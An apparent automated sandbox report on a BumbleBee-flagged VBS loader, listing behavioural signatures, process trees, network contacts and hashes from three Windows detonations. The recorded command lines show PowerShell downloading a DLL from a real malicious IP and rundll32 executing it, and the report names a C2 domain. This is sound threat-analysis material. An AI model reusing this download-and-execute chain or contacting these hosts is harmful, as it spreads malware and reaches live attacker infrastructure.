Analysis Overview
SHA256
e8fec6cb888d59401c00b0ba9dcdff2285a71c88ff82de1ede13766ecf2910b3
Threat Level: Known bad
The file IN(11)-9-12-2023_258806.vbs was found to be: Known bad.
Malicious Activity Summary
BumbleBee
Blocklisted process makes network request
Downloads MZ/PE file
Checks computer location settings
Loads dropped DLL
Suspicious use of NtCreateThreadExHideFromDebugger
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-09-15 13:25
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-09-15 13:25
Reported
2023-09-15 13:27
Platform
win7-20230831-en
Max time kernel
122s
Max time network
129s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2196 wrote to memory of 2976 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2196 wrote to memory of 2976 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2196 wrote to memory of 2976 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2196 wrote to memory of 2760 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
| PID 2196 wrote to memory of 2760 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
| PID 2196 wrote to memory of 2760 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
Network
Files
memory/2976-4-0x000000001B240000-0x000000001B522000-memory.dmp
memory/2976-5-0x0000000002050000-0x0000000002058000-memory.dmp
memory/2976-6-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp
memory/2976-7-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp
memory/2976-8-0x00000000029E0000-0x0000000002A60000-memory.dmp
memory/2976-10-0x00000000029E0000-0x0000000002A60000-memory.dmp
memory/2976-9-0x00000000029E0000-0x0000000002A60000-memory.dmp
memory/2976-11-0x00000000029E0000-0x0000000002A60000-memory.dmp
memory/2976-12-0x000007FEF5460000-0x000007FEF5DFD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-09-15 13:25
Reported
2023-09-15 13:27
Platform
win10-20230915-en
Max time kernel
128s
Max time network
136s
Command Line
Signatures
BumbleBee
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 592 wrote to memory of 2144 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 592 wrote to memory of 2144 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 592 wrote to memory of 3796 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
| PID 592 wrote to memory of 3796 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
Network
| Country | Destination | Domain | Proto |
| DE | 23.88.60.168:80 | 23.88.60.168 | tcp |
| US | 8.8.8.8:53 | 168.60.88.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.0.1.0.0.0.0.0.0.0.1.0.3.5.8.9.0.0.0.0.0.0.2.0.8.0.8.0.8.0.8.0.ip6.arpa | udp |
| US | 8.8.8.8:53 | 241.86.200.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.72.42.20.in-addr.arpa | udp |
Files
memory/2144-4-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp
memory/2144-5-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp
memory/2144-6-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp
memory/2144-7-0x0000026C3EC70000-0x0000026C3EC92000-memory.dmp
memory/2144-10-0x0000026C3EF30000-0x0000026C3EFA6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ovrt0xxx.xed.ps1
| MD5 | c4ca4238a0b923820dcc509a6f75849b |
| SHA1 | 356a192b7913b04c54574d18c28d46e6395428ab |
| SHA256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| SHA512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a |
memory/2144-26-0x0000026C3ED20000-0x0000026C3ED30000-memory.dmp
memory/2144-33-0x00007FF96BB80000-0x00007FF96C56C000-memory.dmp
\??\c:\users\public\name.dll
| MD5 | b139cab0622f45b6543f92effbd7fc49 |
| SHA1 | 499506a1e54bcf805afd4fc34b222b8afdd7acd3 |
| SHA256 | 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08 |
| SHA512 | 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651 |
\Users\Public\name.dll
| MD5 | b139cab0622f45b6543f92effbd7fc49 |
| SHA1 | 499506a1e54bcf805afd4fc34b222b8afdd7acd3 |
| SHA256 | 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08 |
| SHA512 | 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651 |
memory/3796-36-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp
memory/3796-38-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp
memory/3796-37-0x000001DF28110000-0x000001DF2821A000-memory.dmp
memory/3796-39-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp
memory/3796-40-0x000001DF27F30000-0x000001DF27FA9000-memory.dmp
memory/3796-41-0x00007FF9883F0000-0x00007FF9885CB000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2023-09-15 13:25
Reported
2023-09-15 13:27
Platform
win10v2004-20230915-en
Max time kernel
140s
Max time network
145s
Command Line
Signatures
BumbleBee
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\rundll32.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 5036 wrote to memory of 3304 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5036 wrote to memory of 3304 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 5036 wrote to memory of 1264 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
| PID 5036 wrote to memory of 1264 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\rundll32.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IN(11)-9-12-2023_258806.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" invoke-webrequest -uri 'http://23.88.60.168/364f0rv1ni.dll' -outfile 'c:\users\public\name.dll';
C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" c:\users\public\name.dll,DllRegisterServer
Network
| Country | Destination | Domain | Proto |
| DE | 23.88.60.168:80 | 23.88.60.168 | tcp |
| US | 8.8.8.8:53 | 168.60.88.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | v5b6ml4o0nq.life | udp |
| DE | 116.203.151.240:443 | v5b6ml4o0nq.life | tcp |
| US | 8.8.8.8:53 | 240.151.203.116.in-addr.arpa | udp |
| DE | 116.203.151.240:443 | v5b6ml4o0nq.life | tcp |
| US | 8.8.8.8:53 | 19.229.111.52.in-addr.arpa | udp |
| DE | 116.203.151.240:443 | v5b6ml4o0nq.life | tcp |
| US | 8.8.8.8:53 | 233.17.178.52.in-addr.arpa | udp |
Files
memory/3304-5-0x00000183CD220000-0x00000183CD242000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hi1qfj2o.puq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3304-10-0x00007FF8155A0000-0x00007FF816061000-memory.dmp
memory/3304-11-0x00000183CD260000-0x00000183CD270000-memory.dmp
memory/3304-12-0x00000183CD260000-0x00000183CD270000-memory.dmp
memory/3304-13-0x00000183CD260000-0x00000183CD270000-memory.dmp
memory/3304-16-0x00007FF8155A0000-0x00007FF816061000-memory.dmp
\??\c:\users\public\name.dll
| MD5 | b139cab0622f45b6543f92effbd7fc49 |
| SHA1 | 499506a1e54bcf805afd4fc34b222b8afdd7acd3 |
| SHA256 | 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08 |
| SHA512 | 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651 |
C:\Users\Public\name.dll
| MD5 | b139cab0622f45b6543f92effbd7fc49 |
| SHA1 | 499506a1e54bcf805afd4fc34b222b8afdd7acd3 |
| SHA256 | 9505aca42aa91cb6235bcc2b34e8a35e8116281b41ce0585ba9b06ac3799cb08 |
| SHA512 | 83b5bcb345f16d9e363f19712639efb734a6268ad1d00f85cb2b988775a1266668a7fbe134eec756566121449b3bf1dee550270c7ff267e0921478311267d651 |
memory/1264-21-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp
memory/1264-22-0x000001BBB4590000-0x000001BBB469A000-memory.dmp
memory/1264-23-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp
memory/1264-24-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp
memory/1264-25-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp
memory/1264-26-0x000001BBB4590000-0x000001BBB469A000-memory.dmp
memory/1264-27-0x000001BBB2B30000-0x000001BBB2BA9000-memory.dmp
memory/1264-28-0x00007FF8332B0000-0x00007FF8334A5000-memory.dmp